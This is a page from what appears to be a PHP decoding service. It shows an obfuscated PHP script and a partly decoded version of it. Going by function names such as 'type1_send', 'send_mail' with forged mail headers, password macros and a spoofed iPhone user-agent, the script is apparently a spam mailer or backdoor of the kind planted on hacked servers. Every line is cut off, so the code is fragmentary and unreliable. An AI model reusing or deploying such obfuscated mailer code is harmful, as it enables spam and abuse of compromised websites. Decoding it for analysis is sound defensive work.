Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4fBA\x4c\x53"}["\x66\x6a\x72\x62\x70p\x76"]="h";${"\x47\x4c\x4fB\x41\x..

Decoded Output download

<?php 
${"GLOBALS"}["fjrbppv"]="h";${"GLOBALS"}["gpjdkmevf"]="\x6$ 
is_good_ip($ip){$bituitb="goods";${${"GLOBALS"}["rpyoggrfpm"]}=Array("6.1$ 
as${${"GLOBALS"}["jmfgpanybuf"]}){${"GLOBALS"}["spln\x6$ 
TRUE;}}return FALSE;}function 
type1_send(){${"GLOBALS"}["edoslrvil"]="aliases";$nysrisbmt="emai\x$ 
as${${"GLOBALS"}["xsvciwfxno"]}=>${${"GLOBALS"}["goplpeyto$ 
as${$qexnkvzesso}=>${${"GLOBALS"}["lcsegkdebnqt"]}){${"GLOBALS"}["kxoz\x7$ 
as${${"GLOBALS"}["zrihmofxn"]}=>${$vaubboce}){${${"GLOBALS"}["kiykf$ 
send_mail($from,$to,$subj,$text,$mailer){$zysympbpij="head";${"GLOBALS"}["cignfk\x$ 
$from\n";$bxioloogmuj="un";${${"GLOBALS"}["kyvvnqbh"]}.="X-Mailer:\$ 
$from\n";${${"GLOBALS"}["kyvvnqbh"]}.="Mime-Version: 
1.0\n";${$zysympbpij}.="Content-Type: multipart/alternative;";$gesqwty$ 
text/plain; charset=\"ISO-8859-1\"; 
format=flowed\n";${${"GLOBALS"}["dvcdfvnvw"]}.="Content-\x$ 
charset=\"ISO-8859-1\";\n";${${"GLOBALS"}["dvcdfvnvw"]}.="Conte\$ 
as${${"GLOBALS"}["lcsegkdebnqt"]}){if(file_exists(${${"GLOBALS"}["l\x6$ 
application/octet-stream;";$rnebsehsyyc="zag";${${"GLOBALS$ 
alter_macros($content){${"GLOBALS"}["elnbokcjpsy"]="i";$cqitybkyyf="match\x6$ 
text_macros($content){$ikovqif="matches";$xjeiyhihqyl="matches";preg_match_all("#\\[T$ 
xnum_macros($content){${"GLOBALS"}["mmtbiht"]="matches";$dnndjpsmjj="con\$ 
num_macros($content){$wqljhqexhwx="i";${"GLOBALS"}["ryrakgmobhj"]="matches";$wc$ 
generate_word($length){$kmkkea="numChars";$aaxges="chars";$mriksliuq="string";${$a$ 
pass_macros($content,$passes){${"GLOBALS"}["ybxzne"]="passes";${"GLOBAL\x$ 
str_replace("[PASS]",${${"GLOBALS"}["hecevyfqekc"]},${${"GLOBALS"}["ww$ 
fteil_macros($content,$fteil){return 
str_replace("[FTEIL]",${${"GLOBALS"}["tiohpohml"]},${${"GLOBAL\x$ 
is_ip($str){return 
preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][\x$ 
from_host($content){$host=preg_replace("/^(www|ftp)\\./i","",@$_SERVER["HTTP_HOST"]);$uuhtxkvc="t\x6$ 
error_404(){header("HTTP/1.1 404 Not 
Found");${"GLOBALS"}["rtvxjgj"]="content";$mgkiuowfxf="uri";${"GLOB$ 
custom_http_request1($params){$wtkapihl="headers";$tlefzrpe="params";$tnvvkvtlod="url$ 
FALSE;if(!isset(${${"GLOBALS"}["dyeakdxmm"]}["method"]))${${"GLOBALS"}$ 
FALSE;${"GLOBALS"}["dkdhet"]="scheme";${"GLOBALS"}["hzvtpm$ 
(iPhone; U; CPU iPhone OS 3_0 like Mac OS X; 
en-us) AppleWebKit/528.18 (KHTML, like 
Gecko) Version/4.0 Mobile/7A341 Safari/528.\x3$ 
HTTP/1.0\r\n";${${"GLOBALS"}["vfakbxrn"]}.="Host: 
{$url['host']}\r\n";${$ljtgxbvgvje}.="User-Agent: {$params['User-Agent']}"."\r\n";if(isset(${${"GLOB$ 
{$params['referer']}\r\n";$zjhuvwp="params";if(isset(${${"GLOBALS"}["dyeakdx$ 
";${$yxdeckebxp}=substr(${${"GLOBALS"}["poywflcg"]},0,-2);}else${${"GLOBALS"$ 
application/x-www-form-urlencoded\r\n";${${"GLOBALS"}["oboatv$ 
".strlen(${${"GLOBALS"}["bqmdqkqqyrtt"]})."\r\n";}${"GLOBALS"}["$ 
as${${"GLOBALS"}["extqscdtujcq"]}=>${${"GLOBALS"}["fdxzoxssa\$ 
return 
FALSE;if(${${"GLOBALS"}["dyeakdxmm"]}["return"]=="array")${${"\x$ 
?> 
 

Did this file decode correctly?

Original Code

<?php
${"\x47\x4c\x4fBA\x4c\x53"}["\x66\x6a\x72\x62\x70p\x76"]="h";${"\x47\x4c\x4fB\x41\x4cS"}["\x67p\x6ad\x6bm\x65\x76\x66"]="\x6$
is_good_ip($ip){$bituitb="\x67\x6f\x6fd\x73";${${"\x47\x4c\x4fBA\x4c\x53"}["\x72\x70\x79og\x67\x72f\x70\x6d"]}=Array("6\x2e1$
as${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6a\x6d\x66\x67\x70a\x6e\x79b\x75f"]}){${"G\x4c\x4f\x42\x41L\x53"}["\x73\x70\x6c\x6e\x6$
TRUE;}}return FALSE;}function
type1_send(){${"\x47\x4c\x4f\x42\x41L\x53"}["e\x64\x6f\x73\x6c\x72\x76i\x6c"]="\x61l\x69\x61s\x65\x73";$nysrisbmt="\x65mai\x$
as${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x73\x76\x63\x69\x77fxn\x6f"]}=>${${"\x47L\x4f\x42ALS"}["g\x6f\x70\x6cp\x65y\x74\x6f$
as${$qexnkvzesso}=>${${"\x47L\x4f\x42AL\x53"}["\x6ccs\x65\x67\x6b\x64\x65bnq\x74"]}){${"G\x4c\x4f\x42AL\x53"}["k\x78\x6fz\x7$
as${${"G\x4c\x4f\x42\x41\x4c\x53"}["z\x72\x69h\x6do\x66x\x6e"]}=>${$vaubboce}){${${"\x47L\x4fB\x41L\x53"}["\x6b\x69y\x6b\x66$
send_mail($from,$to,$subj,$text,$mailer){$zysympbpij="h\x65\x61d";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x69\x67\x6e\x66\x6b\x$
$from\n";$bxioloogmuj="\x75\x6e";${${"\x47\x4c\x4fB\x41\x4cS"}["\x6b\x79\x76\x76nq\x62\x68"]}.="X-\x4d\x61\x69\x6c\x65\x72:\$
$from\n";${${"\x47L\x4f\x42\x41LS"}["ky\x76\x76\x6e\x71\x62\x68"]}.="M\x69me-Ve\x72s\x69\x6fn:
\x31\x2e0\n";${$zysympbpij}.="\x43\x6f\x6e\x74\x65n\x74-\x54yp\x65:\x20m\x75lt\x69p\x61rt/\x61l\x74ern\x61tiv\x65;";$gesqwty$
\x74\x65xt/\x70\x6c\x61\x69n\x3b\x20\x63\x68\x61\x72se\x74\x3d\"\x49S\x4f-\x38859-\x31\"\x3b
\x66\x6f\x72\x6dat=flo\x77\x65d\n";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64v\x63\x64\x66\x76\x6ev\x77"]}.="\x43\x6fnt\x65nt-\x$
c\x68a\x72se\x74\x3d\"\x49SO-88\x35\x39-\x31\";\n";${${"\x47\x4c\x4fB\x41L\x53"}["\x64vc\x64f\x76\x6e\x76w"]}.="Co\x6et\x65\$
as${${"G\x4c\x4f\x42\x41\x4cS"}["\x6c\x63s\x65\x67\x6b\x64\x65b\x6e\x71\x74"]}){if(file_exists(${${"G\x4c\x4fBALS"}["\x6c\x6$
app\x6c\x69\x63\x61\x74i\x6fn/\x6f\x63\x74\x65\x74-\x73trea\x6d\x3b";$rnebsehsyyc="z\x61\x67";${${"\x47\x4c\x4f\x42\x41\x4cS$
alter_macros($content){${"G\x4c\x4f\x42A\x4c\x53"}["\x65l\x6e\x62\x6fk\x63jp\x73\x79"]="\x69";$cqitybkyyf="\x6da\x74c\x68\x6$
text_macros($content){$ikovqif="\x6dat\x63h\x65\x73";$xjeiyhihqyl="\x6d\x61\x74\x63\x68\x65\x73";preg_match_all("\x23\\[\x54$
xnum_macros($content){${"\x47L\x4f\x42\x41L\x53"}["\x6d\x6d\x74\x62i\x68\x74"]="\x6dat\x63\x68\x65\x73";$dnndjpsmjj="co\x6e\$
num_macros($content){$wqljhqexhwx="i";${"\x47\x4cO\x42A\x4c\x53"}["\x72yra\x6b\x67\x6d\x6fb\x68j"]="m\x61t\x63\x68\x65s";$wc$
generate_word($length){$kmkkea="n\x75m\x43h\x61\x72s";$aaxges="\x63\x68\x61r\x73";$mriksliuq="\x73\x74\x72\x69\x6e\x67";${$a$
pass_macros($content,$passes){${"\x47\x4cOB\x41\x4c\x53"}["\x79b\x78\x7a\x6e\x65"]="\x70\x61\x73s\x65s";${"G\x4c\x4f\x42AL\x$
str_replace("[\x50A\x53S]",${${"\x47LOB\x41\x4cS"}["\x68\x65c\x65\x76\x79fqe\x6b\x63"]},${${"G\x4cO\x42\x41L\x53"}["\x77\x77$
fteil_macros($content,$fteil){return
str_replace("[\x46\x54\x45\x49L]",${${"\x47\x4c\x4f\x42A\x4c\x53"}["t\x69\x6f\x68\x70oh\x6d\x6c"]},${${"\x47\x4cOB\x41\x4c\x$
is_ip($str){return
preg_match("/^([\x31-\x39]|[1-\x39][\x30-9]|1[0-\x39][0-9]|\x32[0-4][\x30-9]|2\x35[\x30-\x35])(\x5c\x2e([\x30-9]|[1-\x39][\x$
from_host($content){$host=preg_replace("/^(w\x77\x77|\x66tp)\\./i","",@$_SERVER["H\x54TP\x5f\x48OS\x54"]);$uuhtxkvc="\x74\x6$
error_404(){header("HTTP/\x31.1 40\x34 No\x74
Fo\x75\x6ed");${"\x47LOBAL\x53"}["r\x74\x76\x78\x6agj"]="\x63\x6f\x6et\x65\x6e\x74";$mgkiuowfxf="\x75\x72i";${"\x47\x4cO\x42$
custom_http_request1($params){$wtkapihl="\x68\x65\x61\x64e\x72\x73";$tlefzrpe="\x70\x61\x72a\x6d\x73";$tnvvkvtlod="\x75\x72l$
FALSE;if(!isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64y\x65a\x6b\x64\x78\x6d\x6d"]}["me\x74\x68od"]))${${"\x47LO\x42ALS"}$
FALSE;${"\x47L\x4fB\x41\x4c\x53"}["d\x6b\x64\x68\x65t"]="\x73c\x68\x65\x6d\x65";${"\x47\x4cO\x42A\x4c\x53"}["h\x7a\x76tp\x6d$
(\x69\x50h\x6fne;\x20U;\x20CP\x55 \x69Ph\x6fn\x65 O\x53\x203_0 \x6c\x69\x6b\x65 \x4d\x61c O\x53\x20X\x3b
e\x6e-\x75s)\x20A\x70\x70l\x65W\x65\x62K\x69\x74/52\x38\x2e1\x38 (K\x48TML,\x20\x6c\x69\x6b\x65
\x47\x65\x63k\x6f)\x20\x56e\x72\x73i\x6fn/\x34.\x30\x20M\x6fbil\x65/7\x41\x33\x34\x31\x20\x53afa\x72\x69/\x35\x32\x38\x2e\x3$
H\x54T\x50/1.\x30\r\n";${${"\x47\x4c\x4f\x42\x41L\x53"}["vf\x61\x6bb\x78\x72\x6e"]}.="H\x6f\x73\x74:
{$url['host']}\r\n";${$ljtgxbvgvje}.="Us\x65\x72-\x41\x67ent:\x20{$params['User-Agent']}"."\r\n";if(isset(${${"\x47\x4c\x4fB$
{$params['referer']}\r\n";$zjhuvwp="\x70\x61\x72am\x73";if(isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64ye\x61\x6b\x64\x78$
";${$yxdeckebxp}=substr(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x6f\x79\x77\x66l\x63g"]},0,-2);}else${${"\x47\x4cO\x42AL\x53"$
\x61\x70plic\x61tio\x6e/\x78-\x77ww-f\x6fr\x6d-ur\x6c\x65nco\x64\x65d\r\n";${${"G\x4c\x4f\x42\x41\x4c\x53"}["ob\x6fa\x74\x76$
".strlen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x71\x6d\x64\x71\x6b\x71q\x79r\x74\x74"]})."\r\n";}${"G\x4c\x4fB\x41L\x53"}["$
as${${"\x47\x4cO\x42ALS"}["\x65\x78t\x71s\x63d\x74uj\x63\x71"]}=>${${"G\x4cO\x42\x41\x4c\x53"}["\x66dx\x7a\x6f\x78s\x73\x61\$
return
FALSE;if(${${"G\x4c\x4f\x42\x41L\x53"}["\x64\x79\x65ak\x64\x78\x6dm"]}["\x72\x65\x74\x75\x72n"]=="\x61r\x72\x61\x79")${${"\x$
?>

Function Calls

None

Variables

None

Stats

MD5 15fe17662c98cb15db670618e0315d5b
Eval Count 0
Decode Time 80 ms